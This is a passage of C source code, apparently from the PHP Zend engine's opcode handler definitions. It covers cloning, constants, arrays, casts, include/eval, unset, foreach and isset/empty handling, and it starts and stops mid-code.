EG(error_zval_ptr); EX_T(opline->result.u.var).var.ptr->refcount++; FREE_OP1_IF_VAR(); ZEND_VM_NEXT_OPCODE(); } ce = Z_OBJCE_P(obj); clone = ce ? ce->clone : NULL; clone_call = Z_OBJ_HT_P(obj)->clone_obj; if (!clone_call) { if (ce) { zend_error_noreturn(E_ERROR, "Trying to clone an uncloneable object of class %s", ce->name); } else { zend_error_noreturn(E_ERROR, "Trying to clone an uncloneable object"); } EX_T(opline->result.u.var).var.ptr = EG(error_zval_ptr); EX_T(opline->result.u.var).var.ptr->refcount++; } if (ce && clone) { if (clone->op_array.fn_flags & ZEND_ACC_PRIVATE) { /* Ensure that if we're calling a private function, we're allowed to do so. */ if (ce != EG(scope)) { zend_error_noreturn(E_ERROR, "Call to private %s::__clone() from context '%s'", ce->name, EG(scope) ? EG(scope)->name : ""); } } else if ((clone->common.fn_flags & ZEND_ACC_PROTECTED)) { /* Ensure that if we're calling a protected function, we're allowed to do so. */ if (!zend_check_protected(clone->common.scope, EG(scope))) { zend_error_noreturn(E_ERROR, "Call to protected %s::__clone() from context '%s'", ce->name, EG(scope) ? EG(scope)->name : ""); } } } EX_T(opline->result.u.var).var.ptr_ptr = &EX_T(opline->result.u.var).var.ptr; if (!EG(exception)) { ALLOC_ZVAL(EX_T(opline->result.u.var).var.ptr); Z_OBJVAL_P(EX_T(opline->result.u.var).var.ptr) = clone_call(obj TSRMLS_CC); Z_TYPE_P(EX_T(opline->result.u.var).var.ptr) = IS_OBJECT; EX_T(opline->result.u.var).var.ptr->refcount=1; EX_T(opline->result.u.var).var.ptr->is_ref=1; if (!RETURN_VALUE_USED(opline) || EG(exception)) { zval_ptr_dtor(&EX_T(opline->result.u.var).var.ptr); } } FREE_OP1_IF_VAR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(99, ZEND_FETCH_CONSTANT, CONST|UNUSED, CONST) { zend_op *opline = EX(opline); zend_class_entry *ce = NULL; zval **value; if (OP1_TYPE == IS_UNUSED) { /* This seems to be a reminant of namespaces if (EG(scope)) { ce = EG(scope); if (zend_hash_find(&ce->constants_table, Z_STRVAL(opline->op2.u.constant), Z_STRLEN(opline->op2.u.constant)+1, (void **) &value) == SUCCESS) { zval_update_constant(value, (void *) 1 TSRMLS_CC); EX_T(opline->result.u.var).tmp_var = **value; zval_copy_ctor(&EX_T(opline->result.u.var).tmp_var); ZEND_VM_NEXT_OPCODE(); } } */ if (!zend_get_constant(opline->op2.u.constant.value.str.val, opline->op2.u.constant.value.str.len, &EX_T(opline->result.u.var).tmp_var TSRMLS_CC)) { zend_error(E_NOTICE, "Use of undefined constant %s - assumed '%s'", opline->op2.u.constant.value.str.val, opline->op2.u.constant.value.str.val); EX_T(opline->result.u.var).tmp_var = opline->op2.u.constant; zval_copy_ctor(&EX_T(opline->result.u.var).tmp_var); } ZEND_VM_NEXT_OPCODE(); } ce = EX_T(opline->op1.u.var).class_entry; if (zend_hash_find(&ce->constants_table, opline->op2.u.constant.value.str.val, opline->op2.u.constant.value.str.len+1, (void **) &value) == SUCCESS) { zend_class_entry *old_scope = EG(scope); EG(scope) = ce; zval_update_constant(value, (void *) 1 TSRMLS_CC); EG(scope) = old_scope; EX_T(opline->result.u.var).tmp_var = **value; zval_copy_ctor(&EX_T(opline->result.u.var).tmp_var); } else { zend_error_noreturn(E_ERROR, "Undefined class constant '%s'", opline->op2.u.constant.value.str.val); } ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(72, ZEND_ADD_ARRAY_ELEMENT, CONST|TMP|VAR|CV, CONST|TMP|VAR|UNUSED|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; zval *array_ptr = &EX_T(opline->result.u.var).tmp_var; zval *expr_ptr; zval *offset=GET_OP2_ZVAL_PTR(BP_VAR_R); #if !defined(ZEND_VM_SPEC) || OP1_TYPE == IS_VAR || OP1_TYPE == IS_CV zval **expr_ptr_ptr = NULL; if (opline->extended_value) { expr_ptr_ptr=GET_OP1_ZVAL_PTR_PTR(BP_VAR_W); expr_ptr = *expr_ptr_ptr; } else { expr_ptr=GET_OP1_ZVAL_PTR(BP_VAR_R); } #else expr_ptr=GET_OP1_ZVAL_PTR(BP_VAR_R); #endif if (IS_OP1_TMP_FREE()) { /* temporary variable */ zval *new_expr; ALLOC_ZVAL(new_expr); INIT_PZVAL_COPY(new_expr, expr_ptr); expr_ptr = new_expr; } else { #if !defined(ZEND_VM_SPEC) || OP1_TYPE == IS_VAR || OP1_TYPE == IS_CV if (opline->extended_value) { SEPARATE_ZVAL_TO_MAKE_IS_REF(expr_ptr_ptr); expr_ptr = *expr_ptr_ptr; expr_ptr->refcount++; } else #endif if (PZVAL_IS_REF(expr_ptr)) { zval *new_expr; ALLOC_ZVAL(new_expr); INIT_PZVAL_COPY(new_expr, expr_ptr); expr_ptr = new_expr; zendi_zval_copy_ctor(*expr_ptr); } else { expr_ptr->refcount++; } } if (offset) { switch (Z_TYPE_P(offset)) { case IS_DOUBLE: zend_hash_index_update(Z_ARRVAL_P(array_ptr), (long) Z_DVAL_P(offset), &expr_ptr, sizeof(zval *), NULL); break; case IS_LONG: case IS_BOOL: zend_hash_index_update(Z_ARRVAL_P(array_ptr), Z_LVAL_P(offset), &expr_ptr, sizeof(zval *), NULL); break; case IS_STRING: zend_symtable_update(Z_ARRVAL_P(array_ptr), Z_STRVAL_P(offset), Z_STRLEN_P(offset)+1, &expr_ptr, sizeof(zval *), NULL); break; case IS_NULL: zend_hash_update(Z_ARRVAL_P(array_ptr), "", sizeof(""), &expr_ptr, sizeof(zval *), NULL); break; default: zend_error(E_WARNING, "Illegal offset type"); zval_ptr_dtor(&expr_ptr); /* do nothing */ break; } FREE_OP2(); } else { zend_hash_next_index_insert(Z_ARRVAL_P(array_ptr), &expr_ptr, sizeof(zval *), NULL); } if (opline->extended_value) { FREE_OP1_VAR_PTR(); } else { FREE_OP1_IF_VAR(); } ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(71, ZEND_INIT_ARRAY, CONST|TMP|VAR|UNUSED|CV, CONST|TMP|VAR|UNUSED|CV) { zend_op *opline = EX(opline); array_init(&EX_T(opline->result.u.var).tmp_var); if (OP1_TYPE == IS_UNUSED) { ZEND_VM_NEXT_OPCODE(); #if !defined(ZEND_VM_SPEC) || OP1_TYPE != IS_UNUSED } else { ZEND_VM_DISPATCH_TO_HANDLER(ZEND_ADD_ARRAY_ELEMENT); #endif } } ZEND_VM_HANDLER(21, ZEND_CAST, CONST|TMP|VAR|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; zval *expr = GET_OP1_ZVAL_PTR(BP_VAR_R); zval *result = &EX_T(opline->result.u.var).tmp_var; if (opline->extended_value != IS_STRING) { *result = *expr; if (!IS_OP1_TMP_FREE()) { zendi_zval_copy_ctor(*result); } } switch (opline->extended_value) { case IS_NULL: convert_to_null(result); break; case IS_BOOL: convert_to_boolean(result); break; case IS_LONG: convert_to_long(result); break; case IS_DOUBLE: convert_to_double(result); break; case IS_STRING: { zval var_copy; int use_copy; zend_make_printable_zval(expr, &var_copy, &use_copy); if (use_copy) { *result = var_copy; if (IS_OP1_TMP_FREE()) { FREE_OP1(); } } else { *result = *expr; if (!IS_OP1_TMP_FREE()) { zendi_zval_copy_ctor(*result); } } break; } case IS_ARRAY: convert_to_array(result); break; case IS_OBJECT: convert_to_object(result); break; } FREE_OP1_IF_VAR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(73, ZEND_INCLUDE_OR_EVAL, CONST|TMP|VAR|CV, ANY) { zend_op *opline = EX(opline); zend_op_array *new_op_array=NULL; zval **original_return_value = EG(return_value_ptr_ptr); int return_value_used; zend_free_op free_op1; zval *inc_filename = GET_OP1_ZVAL_PTR(BP_VAR_R); zval tmp_inc_filename; zend_bool failure_retval=0; if (inc_filename->type!=IS_STRING) { tmp_inc_filename = *inc_filename; zval_copy_ctor(&tmp_inc_filename); convert_to_string(&tmp_inc_filename); inc_filename = &tmp_inc_filename; } return_value_used = RETURN_VALUE_USED(opline); switch (Z_LVAL(opline->op2.u.constant)) { case ZEND_INCLUDE_ONCE: case ZEND_REQUIRE_ONCE: { zend_file_handle file_handle; if (IS_ABSOLUTE_PATH(Z_STRVAL_P(inc_filename), Z_STRLEN_P(inc_filename))) { cwd_state state; state.cwd_length = 0; state.cwd = malloc(1); state.cwd[0] = 0; failure_retval = (!virtual_file_ex(&state, Z_STRVAL_P(inc_filename), NULL, 1) && zend_hash_exists(&EG(included_files), state.cwd, state.cwd_length+1)); free(state.cwd); } if (failure_retval) { /* do nothing */ } else if (SUCCESS == zend_stream_open(Z_STRVAL_P(inc_filename), &file_handle TSRMLS_CC)) { if (!file_handle.opened_path) { file_handle.opened_path = estrndup(Z_STRVAL_P(inc_filename), Z_STRLEN_P(inc_filename)); } if (zend_hash_add_empty_element(&EG(included_files), file_handle.opened_path, strlen(file_handle.opened_path)+1)==SUCCESS) { new_op_array = zend_compile_file(&file_handle, (Z_LVAL(opline->op2.u.constant)==ZEND_INCLUDE_ONCE?ZEND_INCLUDE:ZEND_REQUIRE) TSRMLS_CC); zend_destroy_file_handle(&file_handle TSRMLS_CC); } else { zend_file_handle_dtor(&file_handle); failure_retval=1; } } else { if (Z_LVAL(opline->op2.u.constant)==ZEND_INCLUDE_ONCE) { zend_message_dispatcher(ZMSG_FAILED_INCLUDE_FOPEN, Z_STRVAL_P(inc_filename)); } else { zend_message_dispatcher(ZMSG_FAILED_REQUIRE_FOPEN, Z_STRVAL_P(inc_filename)); } } } break; case ZEND_INCLUDE: case ZEND_REQUIRE: new_op_array = compile_filename(Z_LVAL(opline->op2.u.constant), inc_filename TSRMLS_CC); break; case ZEND_EVAL: { char *eval_desc = zend_make_compiled_string_description("eval()'d code" TSRMLS_CC); new_op_array = zend_compile_string(inc_filename, eval_desc TSRMLS_CC); efree(eval_desc); } break; EMPTY_SWITCH_DEFAULT_CASE() } if (inc_filename==&tmp_inc_filename) { zval_dtor(&tmp_inc_filename); } EX_T(opline->result.u.var).var.ptr_ptr = &EX_T(opline->result.u.var).var.ptr; if (new_op_array) { zval *saved_object; zend_function *saved_function; EG(return_value_ptr_ptr) = EX_T(opline->result.u.var).var.ptr_ptr; EG(active_op_array) = new_op_array; EX_T(opline->result.u.var).var.ptr = NULL; saved_object = EX(object); saved_function = EX(function_state).function; EX(function_state).function = (zend_function *) new_op_array; EX(object) = NULL; zend_execute(new_op_array TSRMLS_CC); EX(function_state).function = saved_function; EX(object) = saved_object; if (!return_value_used) { if (EX_T(opline->result.u.var).var.ptr) { zval_ptr_dtor(&EX_T(opline->result.u.var).var.ptr); } } else { /* return value is used */ if (!EX_T(opline->result.u.var).var.ptr) { /* there was no return statement */ ALLOC_ZVAL(EX_T(opline->result.u.var).var.ptr); INIT_PZVAL(EX_T(opline->result.u.var).var.ptr); Z_LVAL_P(EX_T(opline->result.u.var).var.ptr) = 1; Z_TYPE_P(EX_T(opline->result.u.var).var.ptr) = IS_BOOL; } } EG(opline_ptr) = &EX(opline); EG(active_op_array) = EX(op_array); EG(function_state_ptr) = &EX(function_state); destroy_op_array(new_op_array TSRMLS_CC); efree(new_op_array); if (EG(exception)) { zend_throw_exception_internal(NULL TSRMLS_CC); } } else { if (return_value_used) { ALLOC_ZVAL(EX_T(opline->result.u.var).var.ptr); INIT_ZVAL(*EX_T(opline->result.u.var).var.ptr); Z_LVAL_P(EX_T(opline->result.u.var).var.ptr) = failure_retval; Z_TYPE_P(EX_T(opline->result.u.var).var.ptr) = IS_BOOL; } } FREE_OP1(); EG(return_value_ptr_ptr) = original_return_value; ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(74, ZEND_UNSET_VAR, CONST|TMP|VAR|CV, ANY) { zend_op *opline = EX(opline); zval tmp, *varname; HashTable *target_symbol_table; zend_free_op free_op1; varname = GET_OP1_ZVAL_PTR(BP_VAR_R); if (Z_TYPE_P(varname) != IS_STRING) { tmp = *varname; zval_copy_ctor(&tmp); convert_to_string(&tmp); varname = &tmp; } else if (OP1_TYPE == IS_CV || OP1_TYPE == IS_VAR) { varname->refcount++; } if (opline->op2.u.EA.type == ZEND_FETCH_STATIC_MEMBER) { zend_std_unset_static_property(EX_T(opline->op2.u.var).class_entry, Z_STRVAL_P(varname), Z_STRLEN_P(varname) TSRMLS_CC); } else { target_symbol_table = zend_get_target_symbol_table(opline, EX(Ts), BP_VAR_IS, varname TSRMLS_CC); if (zend_hash_del(target_symbol_table, varname->value.str.val, varname->value.str.len+1) == SUCCESS) { zend_execute_data *ex = EXECUTE_DATA; ulong hash_value = zend_inline_hash_func(varname->value.str.val, varname->value.str.len+1); do { int i; if (ex->op_array) { for (i = 0; i < ex->op_array->last_var; i++) { if (ex->op_array->vars[i].hash_value == hash_value && ex->op_array->vars[i].name_len == varname->value.str.len && !memcmp(ex->op_array->vars[i].name, varname->value.str.val, varname->value.str.len)) { ex->CVs[i] = NULL; break; } } } ex = ex->prev_execute_data; } while (ex && ex->symbol_table == target_symbol_table); } } if (varname == &tmp) { zval_dtor(&tmp); } else if (OP1_TYPE == IS_CV || OP1_TYPE == IS_VAR) { zval_ptr_dtor(&varname); } FREE_OP1(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(75, ZEND_UNSET_DIM, VAR|UNUSED|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; zval **container = GET_OP1_OBJ_ZVAL_PTR_PTR(BP_VAR_UNSET); zval *offset = GET_OP2_ZVAL_PTR(BP_VAR_R); long index; if (container) { if (OP1_TYPE == IS_CV && container != &EG(uninitialized_zval_ptr)) { SEPARATE_ZVAL_IF_NOT_REF(container); } switch (Z_TYPE_PP(container)) { case IS_ARRAY: { HashTable *ht = Z_ARRVAL_PP(container); switch (Z_TYPE_P(offset)) { case IS_DOUBLE: index = (long) Z_DVAL_P(offset); zend_hash_index_del(ht, index); break; case IS_RESOURCE: case IS_BOOL: case IS_LONG: index = Z_LVAL_P(offset); zend_hash_index_del(ht, index); break; case IS_STRING: if (OP2_TYPE == IS_CV || OP2_TYPE == IS_VAR) { offset->refcount++; } if (zend_symtable_del(ht, offset->value.str.val, offset->value.str.len+1) == SUCCESS && ht == &EG(symbol_table)) { zend_execute_data *ex; ulong hash_value = zend_inline_hash_func(offset->value.str.val, offset->value.str.len+1); for (ex = EXECUTE_DATA; ex; ex = ex->prev_execute_data) { if (ex->op_array && ex->symbol_table == ht) { int i; for (i = 0; i < ex->op_array->last_var; i++) { if (ex->op_array->vars[i].hash_value == hash_value && ex->op_array->vars[i].name_len == offset->value.str.len && !memcmp(ex->op_array->vars[i].name, offset->value.str.val, offset->value.str.len)) { ex->CVs[i] = NULL; break; } } } } } if (OP2_TYPE == IS_CV || OP2_TYPE == IS_VAR) { zval_ptr_dtor(&offset); } break; case IS_NULL: zend_hash_del(ht, "", sizeof("")); break; default: zend_error(E_WARNING, "Illegal offset type in unset"); break; } FREE_OP2(); break; } case IS_OBJECT: if (!Z_OBJ_HT_P(*container)->unset_dimension) { zend_error_noreturn(E_ERROR, "Cannot use object as array"); } if (IS_OP2_TMP_FREE()) { MAKE_REAL_ZVAL_PTR(offset); } Z_OBJ_HT_P(*container)->unset_dimension(*container, offset TSRMLS_CC); if (IS_OP2_TMP_FREE()) { zval_ptr_dtor(&offset); } else { FREE_OP2(); } break; case IS_STRING: zend_error_noreturn(E_ERROR, "Cannot unset string offsets"); ZEND_VM_CONTINUE(); /* bailed out before */ default: FREE_OP2(); break; } } else { FREE_OP2(); } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(76, ZEND_UNSET_OBJ, VAR|UNUSED|CV, CONST|TMP|VAR|CV) { zend_op *opline = EX(opline); zend_free_op free_op1, free_op2; zval **container = GET_OP1_OBJ_ZVAL_PTR_PTR(BP_VAR_UNSET); zval *offset = GET_OP2_ZVAL_PTR(BP_VAR_R); if (container) { if (OP1_TYPE == IS_CV && container != &EG(uninitialized_zval_ptr)) { SEPARATE_ZVAL_IF_NOT_REF(container); } if (Z_TYPE_PP(container) == IS_OBJECT) { if (IS_OP2_TMP_FREE()) { MAKE_REAL_ZVAL_PTR(offset); } Z_OBJ_HT_P(*container)->unset_property(*container, offset TSRMLS_CC); if (IS_OP2_TMP_FREE()) { zval_ptr_dtor(&offset); } else { FREE_OP2(); } } else { FREE_OP2(); } } else { FREE_OP2(); } FREE_OP1_VAR_PTR(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(77, ZEND_FE_RESET, CONST|TMP|VAR|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; zval *array_ptr, **array_ptr_ptr; HashTable *fe_ht; zend_object_iterator *iter = NULL; zend_class_entry *ce = NULL; zend_bool is_empty = 0; if (opline->extended_value & ZEND_FE_RESET_VARIABLE) { array_ptr_ptr = GET_OP1_ZVAL_PTR_PTR(BP_VAR_R); if (array_ptr_ptr == NULL || array_ptr_ptr == &EG(uninitialized_zval_ptr)) { ALLOC_INIT_ZVAL(array_ptr); } else if (Z_TYPE_PP(array_ptr_ptr) == IS_OBJECT) { if(Z_OBJ_HT_PP(array_ptr_ptr)->get_class_entry == NULL) { zend_error(E_WARNING, "foreach() can not iterate over objects without PHP class"); ZEND_VM_JMP(EX(op_array)->opcodes+opline->op2.u.opline_num); } ce = Z_OBJCE_PP(array_ptr_ptr); if (!ce || ce->get_iterator == NULL) { SEPARATE_ZVAL_IF_NOT_REF(array_ptr_ptr); (*array_ptr_ptr)->refcount++; } array_ptr = *array_ptr_ptr; } else { if (Z_TYPE_PP(array_ptr_ptr) == IS_ARRAY) { SEPARATE_ZVAL_IF_NOT_REF(array_ptr_ptr); if (opline->extended_value & ZEND_FE_FETCH_BYREF) { (*array_ptr_ptr)->is_ref = 1; } } array_ptr = *array_ptr_ptr; array_ptr->refcount++; } } else { array_ptr = GET_OP1_ZVAL_PTR(BP_VAR_R); if (IS_OP1_TMP_FREE()) { /* IS_TMP_VAR */ zval *tmp; ALLOC_ZVAL(tmp); INIT_PZVAL_COPY(tmp, array_ptr); array_ptr = tmp; if (Z_TYPE_P(array_ptr) == IS_OBJECT) { ce = Z_OBJCE_P(array_ptr); if (ce && ce->get_iterator) { array_ptr->refcount--; } } } else if (Z_TYPE_P(array_ptr) == IS_OBJECT) { ce = Z_OBJCE_P(array_ptr); if (!ce || !ce->get_iterator) { array_ptr->refcount++; } } else { if (OP1_TYPE == IS_CONST || ((OP1_TYPE == IS_CV || OP1_TYPE == IS_VAR) && !array_ptr->is_ref && array_ptr->refcount > 1)) { zval *tmp; ALLOC_ZVAL(tmp); INIT_PZVAL_COPY(tmp, array_ptr); zval_copy_ctor(tmp); array_ptr = tmp; } else { array_ptr->refcount++; } } } if (ce && ce->get_iterator) { iter = ce->get_iterator(ce, array_ptr, opline->extended_value & ZEND_FE_RESET_REFERENCE TSRMLS_CC); if (iter && !EG(exception)) { array_ptr = zend_iterator_wrap(iter TSRMLS_CC); } else { if (opline->extended_value & ZEND_FE_RESET_VARIABLE) { FREE_OP1_VAR_PTR(); } else { FREE_OP1_IF_VAR(); } if (!EG(exception)) { zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Object of type %s did not create an Iterator", ce->name); } zend_throw_exception_internal(NULL TSRMLS_CC); ZEND_VM_NEXT_OPCODE(); } } PZVAL_LOCK(array_ptr); EX_T(opline->result.u.var).var.ptr = array_ptr; EX_T(opline->result.u.var).var.ptr_ptr = &EX_T(opline->result.u.var).var.ptr; if (iter) { iter->index = 0; if (iter->funcs->rewind) { iter->funcs->rewind(iter TSRMLS_CC); if (EG(exception)) { array_ptr->refcount--; zval_ptr_dtor(&array_ptr); if (opline->extended_value & ZEND_FE_RESET_VARIABLE) { FREE_OP1_VAR_PTR(); } else { FREE_OP1_IF_VAR(); } ZEND_VM_NEXT_OPCODE(); } } is_empty = iter->funcs->valid(iter TSRMLS_CC) != SUCCESS; if (EG(exception)) { array_ptr->refcount--; zval_ptr_dtor(&array_ptr); if (opline->extended_value & ZEND_FE_RESET_VARIABLE) { FREE_OP1_VAR_PTR(); } else { FREE_OP1_IF_VAR(); } ZEND_VM_NEXT_OPCODE(); } iter->index = -1; /* will be set to 0 before using next handler */ } else if ((fe_ht = HASH_OF(array_ptr)) != NULL) { zend_hash_internal_pointer_reset(fe_ht); if (ce) { zend_object *zobj = zend_objects_get_address(array_ptr TSRMLS_CC); while (zend_hash_has_more_elements(fe_ht) == SUCCESS) { char *str_key; uint str_key_len; ulong int_key; zend_uchar key_type; key_type = zend_hash_get_current_key_ex(fe_ht, &str_key, &str_key_len, &int_key, 0, NULL); if (key_type != HASH_KEY_NON_EXISTANT && (key_type == HASH_KEY_IS_LONG || zend_check_property_access(zobj, str_key, str_key_len-1 TSRMLS_CC) == SUCCESS)) { break; } zend_hash_move_forward(fe_ht); } } is_empty = zend_hash_has_more_elements(fe_ht) != SUCCESS; zend_hash_get_pointer(fe_ht, &EX_T(opline->result.u.var).fe.fe_pos); } else { zend_error(E_WARNING, "Invalid argument supplied for foreach()"); is_empty = 1; } if (opline->extended_value & ZEND_FE_RESET_VARIABLE) { FREE_OP1_VAR_PTR(); } else { FREE_OP1_IF_VAR(); } if (is_empty) { ZEND_VM_JMP(EX(op_array)->opcodes+opline->op2.u.opline_num); } else { ZEND_VM_NEXT_OPCODE(); } } ZEND_VM_HANDLER(78, ZEND_FE_FETCH, VAR, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; zval *array = GET_OP1_ZVAL_PTR(BP_VAR_R); zval **value; char *str_key; uint str_key_len; ulong int_key; HashTable *fe_ht; zend_object_iterator *iter = NULL; int key_type = 0; zend_bool use_key = (zend_bool)(opline->extended_value & ZEND_FE_FETCH_WITH_KEY); PZVAL_LOCK(array); switch (zend_iterator_unwrap(array, &iter TSRMLS_CC)) { default: case ZEND_ITER_INVALID: zend_error(E_WARNING, "Invalid argument supplied for foreach()"); ZEND_VM_JMP(EX(op_array)->opcodes+opline->op2.u.opline_num); case ZEND_ITER_PLAIN_OBJECT: { char *class_name, *prop_name; zend_object *zobj = zend_objects_get_address(array TSRMLS_CC); fe_ht = HASH_OF(array); zend_hash_set_pointer(fe_ht, &EX_T(opline->op1.u.var).fe.fe_pos); do { if (zend_hash_get_current_data(fe_ht, (void **) &value)==FAILURE) { /* reached end of iteration */ ZEND_VM_JMP(EX(op_array)->opcodes+opline->op2.u.opline_num); } key_type = zend_hash_get_current_key_ex(fe_ht, &str_key, &str_key_len, &int_key, 0, NULL); zend_hash_move_forward(fe_ht); } while (key_type == HASH_KEY_NON_EXISTANT || (key_type != HASH_KEY_IS_LONG && zend_check_property_access(zobj, str_key, str_key_len-1 TSRMLS_CC) != SUCCESS)); zend_hash_get_pointer(fe_ht, &EX_T(opline->op1.u.var).fe.fe_pos); if (use_key && key_type != HASH_KEY_IS_LONG) { zend_unmangle_property_name(str_key, str_key_len-1, &class_name, &prop_name); str_key_len = strlen(prop_name); str_key = estrndup(prop_name, str_key_len); str_key_len++; } break; } case ZEND_ITER_PLAIN_ARRAY: fe_ht = HASH_OF(array); zend_hash_set_pointer(fe_ht, &EX_T(opline->op1.u.var).fe.fe_pos); if (zend_hash_get_current_data(fe_ht, (void **) &value)==FAILURE) { /* reached end of iteration */ ZEND_VM_JMP(EX(op_array)->opcodes+opline->op2.u.opline_num); } if (use_key) { key_type = zend_hash_get_current_key_ex(fe_ht, &str_key, &str_key_len, &int_key, 1, NULL); } zend_hash_move_forward(fe_ht); zend_hash_get_pointer(fe_ht, &EX_T(opline->op1.u.var).fe.fe_pos); break; case ZEND_ITER_OBJECT: /* !iter happens from exception */ if (iter && ++iter->index > 0) { /* This could cause an endless loop if index becomes zero again. * In case that ever happens we need an additional flag. */ iter->funcs->move_forward(iter TSRMLS_CC); if (EG(exception)) { array->refcount--; zval_ptr_dtor(&array); ZEND_VM_NEXT_OPCODE(); } } /* If index is zero we come from FE_RESET and checked valid() already. */ if (!iter || (iter->index > 0 && iter->funcs->valid(iter TSRMLS_CC) == FAILURE)) { /* reached end of iteration */ if (EG(exception)) { array->refcount--; zval_ptr_dtor(&array); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_JMP(EX(op_array)->opcodes+opline->op2.u.opline_num); } iter->funcs->get_current_data(iter, &value TSRMLS_CC); if (EG(exception)) { array->refcount--; zval_ptr_dtor(&array); ZEND_VM_NEXT_OPCODE(); } if (!value) { /* failure in get_current_data */ ZEND_VM_JMP(EX(op_array)->opcodes+opline->op2.u.opline_num); } if (use_key) { if (iter->funcs->get_current_key) { key_type = iter->funcs->get_current_key(iter, &str_key, &str_key_len, &int_key TSRMLS_CC); if (EG(exception)) { array->refcount--; zval_ptr_dtor(&array); ZEND_VM_NEXT_OPCODE(); } } else { key_type = HASH_KEY_IS_LONG; int_key = iter->index; } } break; } if (opline->extended_value & ZEND_FE_FETCH_BYREF) { SEPARATE_ZVAL_IF_NOT_REF(value); (*value)->is_ref = 1; EX_T(opline->result.u.var).var.ptr_ptr = value; (*value)->refcount++; } else { EX_T(opline->result.u.var).var.ptr_ptr = value; PZVAL_LOCK(*EX_T(opline->result.u.var).var.ptr_ptr); AI_USE_PTR(EX_T(opline->result.u.var).var); } if (use_key) { zend_op *op_data = opline+1; zval *key = &EX_T(op_data->result.u.var).tmp_var; switch (key_type) { case HASH_KEY_IS_STRING: Z_STRVAL_P(key) = str_key; Z_STRLEN_P(key) = str_key_len-1; Z_TYPE_P(key) = IS_STRING; break; case HASH_KEY_IS_LONG: Z_LVAL_P(key) = int_key; Z_TYPE_P(key) = IS_LONG; break; default: case HASH_KEY_NON_EXISTANT: ZVAL_NULL(key); break; } } ZEND_VM_INC_OPCODE(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HANDLER(114, ZEND_ISSET_ISEMPTY_VAR, CONST|TMP|VAR|CV, ANY) { zend_op *opline = EX(opline); zend_free_op free_op1; zval tmp, *varname = GET_OP1_ZVAL_PTR(BP_VAR_IS); zval **value; zend_bool isset = 1; HashTable *target_symbol_table; if (Z_TYPE_P(varname) != IS_STRING) { tmp = *varname; zval_copy_ctor(&tmp); convert_to_string(&tmp); varname = &tmp; } if (opline->op2.u.EA.type == ZEND_FETCH_STATIC_MEMBER) { value = zend_std_get_static_property(EX_T(opline->op2.u.var).class_entry, Z_STRVAL_P(varname), Z_STRLEN_P(varname), 1 TSRMLS_CC); if (!value) { isset = 0; } } else { target_symbol_table = zend_get_target_symbol_table(opline, EX(Ts), BP_VAR_IS, varname TSRMLS_CC); if (zend_hash_find(target_symbol_table, varname->value.str.val, varname->value.str.len+1, (void **) &value) == FAILURE) { isset = 0; } } Z_TYPE(EX_T(opline->result.u.var).tmp_var) = IS_BOOL; switch (opline->extended_value) { case ZEND_ISSET: if (isset && Z_TYPE_PP(value) == IS_NULL) { Z_LVAL(EX_T(opline->result.u.var).tmp_var) = 0; } else { Z_LVAL(EX_T(opline->result.u.var).tmp_var) = isset; } break; case ZEND_ISEMPTY: if (!isset || !i_zend_is_true(*value)) { Z_LVAL(EX_T(opline->result.u.var).tmp_var) = 1; } else { Z_LVAL(EX_T(opline->result.u.var).tmp_var) = 0; } break; } if (varname == &tmp) { zval_dtor(&tmp); } FREE_OP1(); ZEND_VM_NEXT_OPCODE(); } ZEND_VM_HELPER_EX(zend_isset_isempty_dim_prop_obj_handler, VAR|UNUSED|CV, CONST|TMP|VAR|CV, int prop_dim) { zend_op *opline = EX(opline); zend_free_op free_op1; zval **container = GET_OP1_OBJ_ZVAL_PTR_PTR(BP_VAR_IS); zval **value = NULL; int result = 0; long index; if (container) { zend_free_op free_op2; zval *offset = GET_OP2_ZVAL_PTR(BP_VAR_R); if (Z_TYPE_PP(container) == IS_ARRAY && !prop_dim) { HashTable *ht; int isset = 0; ht = Z_ARRVAL_PP(container); switch (Z_TYPE_P(offset)) { case IS_DOUBLE: index = (long) Z_DVAL_P(offset); if (zend_hash_index_find(ht, index, (void **) &value) == SUCCESS) { isset = 1; } break; case IS_RESOURCE: case IS_BOOL: case IS_LONG: index = Z_LVAL_P(offset); if (zend_hash_index_find(ht, index, (void **) &value) == SUCCESS) { isset = 1; } break; case IS_STRING: if (zend_symtable_find(ht, offset->value.str.val, offset->value.str.len+1, (void **) &value) == SUCCESS) { isset = 1; } break; case IS_NULL: if (zend_hash_find(ht, "", sizeof(""), (void **) &value) == SUCCESS) { isset = 1; } break; default: zend_error(E_WARNING, "Illegal offset type in isset or empty"); break; } switch (opline->extended_value) { case ZEND_ISSET: if (isset && Z_TYPE_PP(value) == IS_NULL) { result = 0; } else { result = isset; } break; case ZEND_ISEMPTY: if (!isset || !i_zend_is_true(*value)) { result = 0; } else { result = 1; } break; } FREE_OP2(); } else if (Z_TYPE_PP(container) == IS_OBJECT) { if (IS_OP2_TMP_FREE()) { MAKE_REAL_ZVAL_PTR(offset); } if (prop_dim) { result = Z_OBJ_HT_P(*container)->has_property(*container, offset, (opline->extended_value == ZEND_ISEMPTY) TSRMLS_CC); } else { result = Z_OBJ_HT_P(*container)->has_dimension(*container, offset, (opline->extended_value == ZEND_ISEMPTY) TSRMLS_CC); } if (IS_OP2_TMP_FREE()) { zval_ptr_dtor(&offset); } else { FREE_OP2(); } } else if ((*container)->type == IS_STRING && !prop_dim) { /* string offsets */ zval tmp; if (Z_TYPE_P(offset) != IS_LONG) { tmp = *offset; zval_copy_ctor(&tmp); convert_to_long(&tmp); offset = &tmp; } if (Z_TYPE_P(offset) == IS_LONG) { switch (opline->extended_value) { case ZEND_ISSET: if (offset->value.lval >= 0 && offset->value.lval < Z_STRLEN_PP(container)) { result = 